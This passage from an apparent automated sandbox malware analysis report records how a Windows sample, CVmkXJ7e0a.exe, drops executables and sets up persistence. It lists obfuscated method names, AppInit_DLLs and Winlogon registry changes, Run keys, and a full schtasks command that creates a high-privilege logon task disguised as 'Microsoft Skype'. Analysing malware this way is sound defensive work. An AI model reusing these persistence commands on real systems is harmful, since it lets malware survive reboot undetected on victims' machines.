                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 25_2_00007FFE6F7C00BD pushad ; iretd 25_2_00007FFE6F7C00C1
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 32_2_00007FFE6F7B00BD pushad ; iretd 32_2_00007FFE6F7B00C1
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 42_2_00007FFE6F7E00BD pushad ; iretd 42_2_00007FFE6F7E00C1
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeCode function: 52_2_00007FFE6F7C00BD pushad ; iretd 52_2_00007FFE6F7C00C1
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeCode function: 62_2_00007FFE6F7D00BD pushad ; iretd 62_2_00007FFE6F7D00C1
                    Source: CVmkXJ7e0a.exe, QtwIwyeuCut.csHigh entropy of concatenated method names: '_003CScreenShot_003Eb__16_0', 'nrutJLkRFakB', 'JLquHAhAvh', 'gWbxObHdxcm', 'EcPnPsSpJv', 'mmnzvtLZsKaMmk', 'CdTGDoWsmSsMSH', 'rKleoKbcMjlC', 'IdPcDcpoWCrDQuB', 'DhtRPSPbIvcbB'
                    Source: CVmkXJ7e0a.exe, WgycmGATDTmLWZ.csHigh entropy of concatenated method names: 'uLTOBtxNjseq', 'ibnluuqxzeEbX', 'BVaodUJaWcK', 'vYTOjHPPlcfA', 'bifvgOmeUw', 'IDBWbHELaQzRel', 'wMHoZpaXBleeqNX', 'bcaFgGto', 'XUaAcRAKlSaW', 'WDifAkxcNyCP'
                    Source: CVmkXJ7e0a.exe, vWnlBIwOqRcKUR.csHigh entropy of concatenated method names: '_003CStart_003Eb__1_0', '_003CUninstall_003Eb__2_0', '_003CLoopInstall_003Eb__7_0', '_003CStartAsBypass_003Eb__10_0', 'bkdRmlQOhbi', 'PDlmKZeO', 'dRGKYcGMjukf', 'VRqTOCfI', 'KTDhKEeS', 'qCuxSXHNIJCxg'
                    Source: CVmkXJ7e0a.exe, vQegNNngXJL.csHigh entropy of concatenated method names: 'UiJafUCaHMtZbNs', 'mKPrlnlWrqalgt', 'OtgEwrnu', 'MmLiWFEzVwu', 'tUOgxmipt', 'tOLffvJvyy', 'peycCzmlaQ', 'yoUZSXzEFEfvs', 'XrZJpZxvwEpPDun', 'ETzJQWLGdlvutLK'
                    Source: CVmkXJ7e0a.exe, BOpXVWocCcdc.csHigh entropy of concatenated method names: 'sJrdjBADXvMl', 'mUsTnbFm', 'HBedZKdgoqBuP', 'DQAXEdeScmR', 'UkjpBXoGCpzGc', 'ZqHVkIXAoCnDBJ', 'oYrLppsxz', 'dGIRNQtvODoLGB', 'MTvgByWfz', 'QHumAhsIgG'
                    Source: CVmkXJ7e0a.exe, jPIdXbLyOdAp.csHigh entropy of concatenated method names: 'dVIRaIRaqGrooo', 'RigeHlKpgF', 'wgrohkQPR', 'TktxzDsJRojm', 'ggwWhDTfcMRMliC', 'GYYXoyxngIh', 'fOQaJmKIkN', 'MywrYclOUpjLQ', 'PGhiJpZVB', 'NvqDyXup'
                    Source: CVmkXJ7e0a.exe, ncogkvKUZZJb.csHigh entropy of concatenated method names: 'KgTAEoBHaun', 'ctbFTbOuy', 'MNsVAyXEpOdffGz', 'MKDUNiAX', 'BiOFyuhWK', 'FHioCjWEYfx', 'UGOODreldM', 'NyPJyqUvIUm', 'xdWAkrecsKmOHrk', 'qrYrsmVpmZXNDk'
                    Source: CVmkXJ7e0a.exe, EwPduhLHZPgxos.csHigh entropy of concatenated method names: 'dCvIlmtZV', 'gjusZVjlaANSD', 'haJvjFTH', 'cFxnBXELWusOxR', 'zuwLNrtLys', 'KdyqPRYvRnci', 'NVpqYLpjIvvpJ', 'uwjuzuZMb', 'gebpCAaXMN', 'sCCmnCrBhCAGJez'
                    Source: CVmkXJ7e0a.exe, oxEMBVqDbyL.csHigh entropy of concatenated method names: 'UiCdwQwMgJ', 'brWhHvyVy', 'GzIQbwxfzLCqY', 'vrWFjmgnfqdVfo', 'HccNhNjuMUTzh', 'xEkSglQYtmMCT', 'RnFRIwriZdr', 'MwKkPmyGhmsC', 'CSjjqBeuPdZPCql', 'PeHbDYTOIXZDNm'
                    Source: CVmkXJ7e0a.exe, JygXmthhijkCb.csHigh entropy of concatenated method names: 'dMDVFZFKF', 'FtpPReDPEtFk', 'lJiDkcILXX', 'WrfKUchysAStES', 'EfUxhGtuSM', 'VUhxUhWAsZy', 'ubMGrSSPelUXcq', 'pjdxNyxHMRu', 'kXEaqGmaVVzB', 'AwtkAJVeIgQO'
                    Source: CVmkXJ7e0a.exe, epWAKQgX.csHigh entropy of concatenated method names: 'ihmOmTPHFJ', 'iuYQkEvuVSEMs', 'ObMtnuATnRUKWnu', 'pVfGTjRFPGUm', 'veUtQXsD', 'ROgOHGwahH', 'scihlefK', 'dhaORrnAR', 'QBZbDQaE', 'KIpYMmJTvmHm'
                    Source: CVmkXJ7e0a.exe, cMwXeZCTrGi.csHigh entropy of concatenated method names: 'ZUHnyFspgofsNyT', 'CVgoQnIWfdOQdsC', 'TqGZwKen', 'xsngDJfGGQ', 'ZtilMlHVqcM', 'mZZWrtzsqtWSvU', 'cTiJWbggZIUNKC', 'wplDBHdnn', 'HYfgWPqrwf', 'HSpMFsAO'
                    Source: CVmkXJ7e0a.exe, NazdjKhCsN.csHigh entropy of concatenated method names: 'AVOGwgUEeiyJ', 'EScmHVJGlMMIg', 'PJyqcwqBDh', 'uwNXLiOQP', 'QhuuWEVOJBy', 'PFvgsWMuCP', 'bNZvjadyrRrzbDv', 'sUnufMdg', 'beqsEUWAm', 'hwImnfDGzX'
                    Source: CVmkXJ7e0a.exe, vYxBOCMJ.csHigh entropy of concatenated method names: 'JLNZNSqKLhz', 'dXAruXIaRZ', 'hyWggcAdfdXqZm', 'zNBVnwOp', 'AxJTeEjFkX', 'bqlKiLDTmGhaF', 'XvYwlrSJEfiSgzb', 'RGCFZJbrmbsuDL', 'XEZHILIzfNS', 'GbPeEssoaXzUO'
                    Source: CVmkXJ7e0a.exe, XPUiTLDMwepV.csHigh entropy of concatenated method names: 'jpyBoyTWvpkAeV', 'BCFeRdbrvnOMjS', 'mzirOOXAIPM', 'bZkippQK', 'YLEJIyCOalkDZDk', 'mHYeCxOEZz', 'LEZWSIcNoe', 'GQVliecACWAQC', 'rfrbxzkJgrKAP', 'vwpwmEAIJR'
                    Source: CVmkXJ7e0a.exe, IgIWsrqHbBFTbcX.csHigh entropy of concatenated method names: 'MerJSSZWY', 'BzBHxrvpvDP', 'lIvMhCwBQkADxJ', 'TgpHlyYpr', 'TEOYmgUr', 'tjOGlXaWERy', 'JnfcJFvesMSEGNy', 'ddDfLcQcEaEjL', 'UYsHKQivdaYN', 'gQKzXZssaNTm'
                    Source: CVmkXJ7e0a.exe, SbKdALCrg.csHigh entropy of concatenated method names: 'HnNldmubpXhYs', 'WcenIOyKzmS', 'pjjvFmRqULCGjz', 'HledtjmGYhOjSkx', 'aSkxKstRvGCDLa', 'EIPrYVJZKDd', 'NrCzFXXbo', 'CoOrNhmgiuyKKaC', 'YSQsaughfZsHwg', 'yjEGachHbmdUiM'
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile created: C:\Users\Public\Pictures\xdwdUpdate.exeJump to dropped file

                    Boot Survival

                    barindex
                    Allows loading of unsigned dll using appinit_dll
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeRegistry value created: RequireSignedAppInit_DLLs 0Jump to behavior
                    Creates an undocumented autostart registry key
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLsJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows LoadAppInit_DLLsJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon UserinitJump to behavior
                    Uses schtasks.exe or at.exe to add and modify task schedules
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe"
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chromeJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chromeJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE EBC733B087E1C2F6305E43354FC0384F383A7697EC97D4C00BDDFA6EB9AE6BEBJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess information set: NOOPENFILEERRORBOX
